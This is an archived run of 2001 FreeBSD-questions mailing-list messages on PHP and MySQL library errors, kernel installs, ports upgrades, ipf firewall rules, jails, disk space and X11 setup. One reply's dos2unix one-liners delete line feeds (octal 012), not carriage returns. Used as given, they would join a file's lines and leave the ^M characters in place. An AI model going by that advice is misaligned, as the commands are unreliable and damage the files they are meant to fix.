Content-Transfer-Encoding: 7bit Hello All, I am going through the source code of routed.. and came across a data structure "sockaddr_in_new".. I could not find the definition for this data structure. Can anyone tell me the file in which this data structure is being defined. Am I missing something ? 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In such cases, please notify us immediately at mailto:mailadmin@wipro.com and delete this mail from your records. ------------------------------------------------------------------------------------------------------------------------ --------------InterScan_NT_MIME_Boundary-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 20:36:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mta02ps.bigpond.com (mta02ps.bigpond.com [144.135.25.134]) by hub.freebsd.org (Postfix) with ESMTP id 7C62037B416 for ; Mon, 19 Nov 2001 20:36:48 -0800 (PST) Received: from h204.vicyouth.com ([144.135.25.78]) by mta02ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP id GN314D00.6E9 for ; Tue, 20 Nov 2001 14:43:25 +1000 Received: from ESS-p-144-138-16-217.mega.tmns.net.au ([144.138.16.217]) by PSMAM04.mailsvc.email.bigpond.com(MailRouter V2.9k 8401/17866673); 20 Nov 2001 14:36:46 Message-Id: <5.0.0.25.2.20011120152649.009ee150@vicyouth.com> X-Sender: jacob@vicyouth.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Tue, 20 Nov 2001 15:35:38 -0800 To: questions@freebsd.org From: Jacob Rhoden Subject: mod_php4-4.0.6_5 problem Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, Today I upgraded (all using packages) my apache to 'apache-1.3.22_4' and then to get php to work, I had to upgrade php to 'mod_php4-4.0.6_5' but it refused to install without upgrading mysql. So I upgraded to the latest mysql server/client 3.23.43. Now pkg_add will install mod_php4-4.0.6_5 but it breaks apache with the following error message on restart: Syntax error on line 56 of /usr/local/etc/apache/httpd.conf: Cannot load /usr/local/libexec/apache/libphp4.so into server: /usr/local/lib/mysql/libmysqlclient.so.10: Undefined symbol "strtoll" So basically I am using all the latest packages for apache/php/mysql and it doesn't work, I have done a search for help on various related sites but couldn't find any useful information. Any ideas? Regards, Jacob Rhoden "As for me and my house, we Jacob Rhoden will serve the Lord" jj@f3z.net (Joshua 24:15) 0403 788 386 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 20:37:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54]) by hub.freebsd.org (Postfix) with ESMTP id 9501437B419 for ; Mon, 19 Nov 2001 20:37:16 -0800 (PST) Received: from snafu.enterit.com ([66.57.159.198]) by mail7.carolina.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Mon, 19 Nov 2001 23:36:30 -0500 Message-Id: <5.1.0.14.0.20011119235444.02b45800@mail.enterit.com> X-Sender: jconner@enterit.com@mail.enterit.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 20 Nov 2001 00:00:10 -0500 To: "Ben Witkowski" From: Jim Conner Subject: Re: Dos2Unix Cc: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG AFAIK, FreeBSD has one too (too lazy to check. Check the ports). It is very easy to do it yourself though. cat filename | tr -d "\012" > newfilename or # I believe that \012 is the correct octal. cat filename | perl -ie 'while ( <> ) { $_ =~ s/\012//g;print }' > newfilename Please anyone correct that one liner if it is incorrect. I am very tired right now. - Jim At 19:59 11.19.2001 -0800, Ben Witkowski wrote: >most unix systems have a dos2unix utility that removes the trailing ^M >characters from each line. is there a comprable tool for FreeBSD, or does >anyone know where to find the binaries (or a script) to do the job? > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message - Jim -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ Version: 0.01 Version: 3.12 P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 20:49: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 7FE1A37B419 for ; Mon, 19 Nov 2001 20:49:03 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id F111266D56; Mon, 19 Nov 2001 20:49:02 -0800 (PST) Date: Mon, 19 Nov 2001 20:49:02 -0800 From: Kris Kennaway To: Ken Bolingbroke Cc: Gavin Weng , freebsd-questions@FreeBSD.ORG Subject: Re: how to replace the new kernel, not recompile. Message-ID: <20011119204902.A89738@xor.obsecurity.org> References: <002001c17163$be745300$0f01a8c0@testing.local> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="vkogqOf2sHV7VnPd" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from hacker@bolingbroke.com on Mon, Nov 19, 2001 at 08:12:09PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --vkogqOf2sHV7VnPd Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 19, 2001 at 08:12:09PM -0800, Ken Bolingbroke wrote: >=20 > To replace the kernel, you need to also use chflags to change the access > rights on /kernel, like this: >=20 > chflags noschg /kernel Or, as it's usually and more properly done, 'make installkernel' Kris --vkogqOf2sHV7VnPd Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+eC+Wry0BWjoQKURApPlAJ9WFYgNGXze/xxRf8M/reoZ4EW2TACgu7zn NnCFu27A0bm+kZLjhGwXNiQ= =ucCk -----END PGP SIGNATURE----- --vkogqOf2sHV7VnPd-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 20:50:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id AF4B037B405 for ; Mon, 19 Nov 2001 20:50:20 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 5A70B66EEE; Mon, 19 Nov 2001 20:50:20 -0800 (PST) Date: Mon, 19 Nov 2001 20:50:20 -0800 From: Kris Kennaway To: Steve Brown Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Updating software in ports Message-ID: <20011119205020.B89738@xor.obsecurity.org> References: <20011119213811.A4082@prayforwind.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="lEGEL1/lMxI0MVQ2" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011119213811.A4082@prayforwind.com>; from gtabug@prayforwind.com on Mon, Nov 19, 2001 at 09:38:11PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --lEGEL1/lMxI0MVQ2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Nov 19, 2001 at 09:38:11PM -0500, Steve Brown wrote: > Hello all, >=20 > Ok, I have linux-netscape47-communicator (4.78) installed > from ports. Now 4.79 is out and only change seems to be "Makefile" > so I've downloaded it to my /usr/ports/www/linux-netscape47-communicator > directory with a different name. Should I > a) just rename it to Makefile, make && make install, or > b) make deinstall, rename it, make && make install, or > c) make deinstall, rename it, make && make reinstall, or > d) something else entirely? d) cvsup your ports collection, don't try and update it by hand because you'll make mistakes, then e) use portupgrade to upgrade and reinstall your ports. Kris --lEGEL1/lMxI0MVQ2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+eELWry0BWjoQKURAosNAJ0ZFO641KdPCGFiKx98oVpqAJXucwCeLbtR s83pztpLuAYGYyyJLTvq4U0= =iMM/ -----END PGP SIGNATURE----- --lEGEL1/lMxI0MVQ2-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 20:57:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hawk.prod.itd.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 724A937B405 for ; Mon, 19 Nov 2001 20:57:31 -0800 (PST) Received: from sdn-ar-007dcwashp251.dialsprint.net ([63.178.90.141] helo=moo.holy.cow) by hawk.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 1662yQ-0000BV-00 for freebsd-questions@freebsd.org; Mon, 19 Nov 2001 20:57:30 -0800 Received: by moo.holy.cow (Postfix, from userid 1001) id 2D7E850B85; Mon, 19 Nov 2001 23:58:45 -0500 (EST) Date: Mon, 19 Nov 2001 23:58:44 -0500 From: parv To: f-q Subject: need help cleaning ipf rules Message-ID: <20011119235844.A11191@moo.holy.cow> Mail-Followup-To: f-q Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG i think i may have some unnecessary rules, but i can't identify them. if i "block in on tun0 from A to B", then would "block in on tun0 from B to A" be redundant? following is the list... block in from any to any block in log on tun0 from any to any head 200 block in log body quick from any to any with short block in log body quick from any to any with ipopts block in log quick from any to any with opt lsrr block in log quick from any to any with opt ssrr block in log quick from any to any with frags block in log quick proto tcp from any to any flags FUP block in log quick proto tcp from any to any flags SF/SFRA block in log quick proto tcp from any to any flags SF/SF block in log quick proto tcp from any to any flags SR/SR block in log quick proto tcp from any to any flags /SFRA # deleted rules to block attempts to connect to ssh, ftp, etc. # which i have only for statistics, as the following will block # those anyway # block in log body quick on tun0 from any to any port < 1025 group 200 # i start X with "-nolisten tcp" option, but still... # block in log body quick on tun0 from any to any port 5999 >< 6064 group 200 block in log body quick on tun0 from any to any port = 5432 group 200 # # XXX rules like these are what fattening my list; there are 15-20 # XXX "block in" like these for other offending addresses. # XXX # XXX would these in any way be helpful to delay DoS attacks # XXX and zombie making attempts? # block in log body quick on tun0 from 61.133.109.130/8 to any group 200 block in log body quick on tun0 from any to 61.133.109.130/8 group 200 block in log body quick on tun0 from 192.168.0.0/16 to any group 200 block in log body quick on tun0 from any to 192.168.0.0/16 group 200 # same for 172.16.0.0/16, 10.0.0.0/8, and 127.0.0.0/16 addresses block out from any to any block out on tun0 from any to any head 400 block out log body quick on tun0 from any to 192.168.0.0/16 group 400 block out log body quick on tun0 from 192.168.0.0/16 to any group 400 # same for 172.16.0.0/16 and 127.0.0.0/16 addresses pass out quick on tun0 proto udp from 10.0.0.1 to any port = 53 keep state group 400 pass out log or-block quick on tun0 proto udp from 0.0.0.0 to any port 33433 >< 33465 keep state group 400 pass out quick on tun0 proto tcp from 0.0.0.0 to any keep state group 400 pass out quick on tun0 proto udp from 0.0.0.0 to any keep state group 400 pass out log or-block quick on tun0 proto icmp from 0.0.0.0 to any icmp-type 8 keep state group 400 ...machine is stand alone laptop, having internet connection via modem. i _need_ to be able to use ping and traceroute to outside addresses, and not _want_ same to be done to me. freebsd version is 4.4-stable-20011003. any other insight will be much appreciated. thanks much. - parv ps: yes, i have gone thru' manpages & obfuscate.org's document. -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 21:38:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id 34C5C37B418; Mon, 19 Nov 2001 21:38:06 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Nov 2001 13:38:04 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340BAE@apmail.dagupan.com> From: francisv@dagupan.com To: freebsd-questions@freebsd.org Cc: freebsd-isp@freebsd.org Subject: Jail in production use Date: Tue, 20 Nov 2001 13:38:01 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, Can someone point me to examples in setting up jail for use in a production environment? I've managed to setup jail but the next step is to include pre-configured services like apache, mysql, postgresql, postfix, pop3, imap4, etc. --- francis a. vidal [bitstop network services] | http://www.dagupan.com streaming media + web hosting | http://www.keystone.ph v(02)330-2871,(02)330-2872; f(02)330-2873 | http://www.kuro.ph To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 21:40: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web10006.mail.yahoo.com (web10006.mail.yahoo.com [216.136.130.42]) by hub.freebsd.org (Postfix) with SMTP id 2BF3337B416 for ; Mon, 19 Nov 2001 21:40:07 -0800 (PST) Message-ID: <20011120054007.2040.qmail@web10006.mail.yahoo.com> Received: from [209.219.51.7] by web10006.mail.yahoo.com via HTTP; Mon, 19 Nov 2001 21:40:07 PST Date: Mon, 19 Nov 2001 21:40:07 -0800 (PST) From: Tom Kersten Subject: / is full!!!! Please help... To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello all, My root directory is getting close to being full (97+%). It is 45 mb....is this too small??? I symlinked the /var directory to /usr/var after installation and thought that 45 mb would be enough...it says that 30 is sufficient in "The Complete FreeBSD"..so I put in a little more just in case. Anyway, what is the best way to fix this? I read a little bit about the 'growfs' command...but am not sure of the *best* way to fix my problem. Any tips are appreciated. If you need more detailed information, please let me know... Thanks in advance, Thomas Kersten __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 21:46:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from happy.cow.org (happy.cow.org [198.88.20.7]) by hub.freebsd.org (Postfix) with ESMTP id 8EF8037B418 for ; Mon, 19 Nov 2001 21:46:31 -0800 (PST) Received: (from ravi@localhost) by happy.cow.org (8.11.4/8.11.3) id fAK5hG403092; Tue, 20 Nov 2001 00:43:16 -0500 (EST) Date: Tue, 20 Nov 2001 00:43:16 -0500 From: ravi pina To: Tom Kersten Cc: freebsd-questions@FreeBSD.ORG Subject: Re: / is full!!!! Please help... Message-ID: <20011120004315.L2155@happy.cow.org> Reply-To: ravi@cow.org References: <20011120054007.2040.qmail@web10006.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120054007.2040.qmail@web10006.mail.yahoo.com>; from tomkersten98@yahoo.com on Mon, Nov 19, 2001 at 09:40:07PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 09:40:07PM -0800, Tom Kersten said at one point in time: > Hello all, > > My root directory is getting close to being full > (97+%). It is 45 mb....is this too small??? I > symlinked the /var directory to /usr/var after > installation and thought that 45 mb would be > enough...it says that 30 is sufficient in "The > Complete FreeBSD"..so I put in a little more just in > case. Anyway, what is the best way to fix this? I read > a little bit about the 'growfs' command...but am not > sure of the *best* way to fix my problem. Any tips are > appreciated. If you need more detailed information, > please let me know... check /root that is no doubt your problem. also check where /tmp is. stale core files too. -r -- echo "send pgp key" | mail ravi@cow.org "If we knew what it was we were doing, it would not be called research, would it?" -- Albert Einstein To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 21:56:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from swan.prod.itd.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by hub.freebsd.org (Postfix) with ESMTP id 6C79037B41B for ; Mon, 19 Nov 2001 21:56:39 -0800 (PST) Received: from dialup-209.244.107.81.dial1.sanjose1.level3.net ([209.244.107.81] helo=blossom.cjclark.org) by swan.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 1663td-0006Sz-00; Mon, 19 Nov 2001 21:56:38 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAK5uCC02531; Mon, 19 Nov 2001 21:56:12 -0800 (PST) (envelope-from cjc) Date: Mon, 19 Nov 2001 21:56:12 -0800 From: "Crist J. Clark" To: John O Holland Cc: freebsd-questions@FreeBSD.ORG Subject: Re: kernal error question Message-ID: <20011119215611.W69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <200111200128.fAK1Sc931802@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111200128.fAK1Sc931802@localhost.localdomain>; from holl0189@umn.edu on Mon, Nov 19, 2001 at 07:28:37PM -0600 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 07:28:37PM -0600, John O Holland wrote: > Hello, > > In this email is my kernel configuration. For some reason I get an error > when making it. The error can be found after the config script. [snip] > # SCSI peripherals > #device scbus # SCSI bus (required) > #device da # Direct Access (disks) [snip] > # USB support [snip] > device umass # Disks/Mass storage - Requires scbus and da -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 21:59:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id 7ED3B37B405 for ; Mon, 19 Nov 2001 21:59:11 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Nov 2001 13:59:15 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340BB0@apmail.dagupan.com> From: francisv@dagupan.com To: freebsd-questions@freebsd.org Subject: Automatically mounting vnode disks Date: Tue, 20 Nov 2001 13:59:13 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, How do you automatically mount vnode disks? I have created a file, /etc/vntab, with the following value: vn0 /usr/local/vnodes/file mount=/usr/local/vfs/mountpoint but when I try to mount it using 'vnconfig -ae', it gives me the following error: vnconfig: mount: Device busy What's the correct format for /etc/vntab? --- francis a. vidal [bitstop network services] | http://www.dagupan.com streaming media + web hosting | http://www.keystone.ph v(02)330-2871,(02)330-2872; f(02)330-2873 | http://www.kuro.ph To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 22:11:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by hub.freebsd.org (Postfix) with ESMTP id 7025437B405 for ; Mon, 19 Nov 2001 22:11:36 -0800 (PST) Received: from dialup-209.244.107.81.dial1.sanjose1.level3.net ([209.244.107.81] helo=blossom.cjclark.org) by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 166487-00022n-00; Mon, 19 Nov 2001 22:11:35 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAK6B8M02620; Mon, 19 Nov 2001 22:11:08 -0800 (PST) (envelope-from cjc) Date: Mon, 19 Nov 2001 22:11:08 -0800 From: "Crist J. Clark" To: francisv@dagupan.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Help with setting up jail Message-ID: <20011119221108.X69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <10F29E27A956D511B0940050DA8D86A9340BAA@apmail.dagupan.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <10F29E27A956D511B0940050DA8D86A9340BAA@apmail.dagupan.com>; from francisv@dagupan.com on Tue, Nov 20, 2001 at 10:42:59AM +0800 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 10:42:59AM +0800, francisv@dagupan.com wrote: > Hi, > > This is my first time to configure a jailed environment on FreeBSD > 4.4-STABLE. I have read the `man jail(8)' and successfully installed the > jail directory tree: > > D=/here/is/the/jail > cd /usr/src > make world DESTDIR=$D > cd etc > make distribution DESTDIR=$D NO_MAKEDEV=yes > cd $D/dev > sh MAKEDEV jail > cd $D > ln -sf dev/null kernel > > But once inside the jail environment, I could not ping nor contact the > outside world (even the parent environment). It displays an error: > > ping: socket: Operation not permitted > > How can I install other packages if I can't even ping the parent host? ping(8) send out the ICMP echo datagram on a raw socket. You can't open raw sockets in a jailed environment. You cannot ping(8). Opening TCP connections or sending UDP datagrams should work fine. Try traceroute(8) or telnet(1). -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 22:15:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id C13B337B416 for ; Mon, 19 Nov 2001 22:15:42 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Nov 2001 14:15:46 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340BB1@apmail.dagupan.com> From: francisv@dagupan.com To: freebsd-questions@freebsd.org Subject: RE: Help with setting up jail Date: Tue, 20 Nov 2001 14:15:36 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thanks Crist! BTW, do you also know other references/pointers/tips related to jail (e.g. setting up of web services, ftp, mail, etc.)? -----Original Message----- From: Crist J. Clark [mailto:cristjc@earthlink.net] Sent: Tuesday, November 20, 2001 2:11 PM To: francisv@dagupan.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Help with setting up jail On Tue, Nov 20, 2001 at 10:42:59AM +0800, francisv@dagupan.com wrote: > Hi, > > This is my first time to configure a jailed environment on FreeBSD > 4.4-STABLE. I have read the `man jail(8)' and successfully installed the > jail directory tree: > > D=/here/is/the/jail > cd /usr/src > make world DESTDIR=$D > cd etc > make distribution DESTDIR=$D NO_MAKEDEV=yes > cd $D/dev > sh MAKEDEV jail > cd $D > ln -sf dev/null kernel > > But once inside the jail environment, I could not ping nor contact the > outside world (even the parent environment). It displays an error: > > ping: socket: Operation not permitted > > How can I install other packages if I can't even ping the parent host? ping(8) send out the ICMP echo datagram on a raw socket. You can't open raw sockets in a jailed environment. You cannot ping(8). Opening TCP connections or sending UDP datagrams should work fine. Try traceroute(8) or telnet(1). -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 22:16:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.radzinschi.com (cc222717-a.owml1.md.home.com [65.8.33.207]) by hub.freebsd.org (Postfix) with ESMTP id CBF2637B405 for ; Mon, 19 Nov 2001 22:16:24 -0800 (PST) Received: from localhost (marco@localhost.radzinschi.com [127.0.0.1]) by mail.radzinschi.com (8.11.6/8.11.6) with ESMTP id fAK6GjN58866 for ; Tue, 20 Nov 2001 01:16:45 -0500 (EST) (envelope-from marco@radzinschi.com) Date: Tue, 20 Nov 2001 01:16:45 -0500 (EST) From: Marco Radzinschi To: FreeBDS-Questions Subject: X11 on HP Vectra VE 5/200 MMX Series 4? Message-ID: <20011120010109.R58840-100000@mail.radzinschi.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello: I have an HP Vectra VE 5/200 MMX Series 4 computer, which I would like to turn into an X workstation. If anyone has gotten X to work on this clunker, I would like to know what I should set as the configuration settings for X. I am asking because I honestly do not have any experience with setting up X on FreeBSD - not properly at least. I have only really used Unix systems from the console, mostly via an SSH or telnet client. I administer the Linux and FreeBSD servers I set up via a SSH shell account. Though I have used Irix and SunOS systems before, Linux and FreeBSD are the only systems I've ever run on hardware I personally own. I now have a spare box, and would like to give the X Window system a try. Any help appreciated. Marco Radzinschi E-Mail: marco@radzinschi.com AOL IM: CrackedBoy Running FreeBSD 4.4-RELEASE i386 1:01AM up 8 days, 9:29, 1 user, load averages: 1.05, 1.02, 1.01 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 22:21: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 3749137B418 for ; Mon, 19 Nov 2001 22:20:38 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 1664UA-0005f1-00; Tue, 20 Nov 2001 14:34:22 +0800 Date: Tue, 20 Nov 2001 14:34:21 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Kris Kennaway Cc: "Anthony M. Magsino" , freebsd-questions@FreeBSD.ORG Subject: Re: gdm In-Reply-To: <20011116221907.A86602@xor.obsecurity.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Kris! I did, but it would work. . . On Fri, 16 Nov 2001, Kris Kennaway wrote: > On Sat, Nov 17, 2001 at 01:12:24PM +0800, Anthony M. Magsino wrote: > > Hi. Can anybody tell me how to make gdm work in FreeBSD-4.3? I've read > > all documentations in the CD and yes, they warned that gdm might or might > > not work. Xdm worked fine. but I want gdm. Thanks. > > Did you try Just Installing It? > > Kris > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From 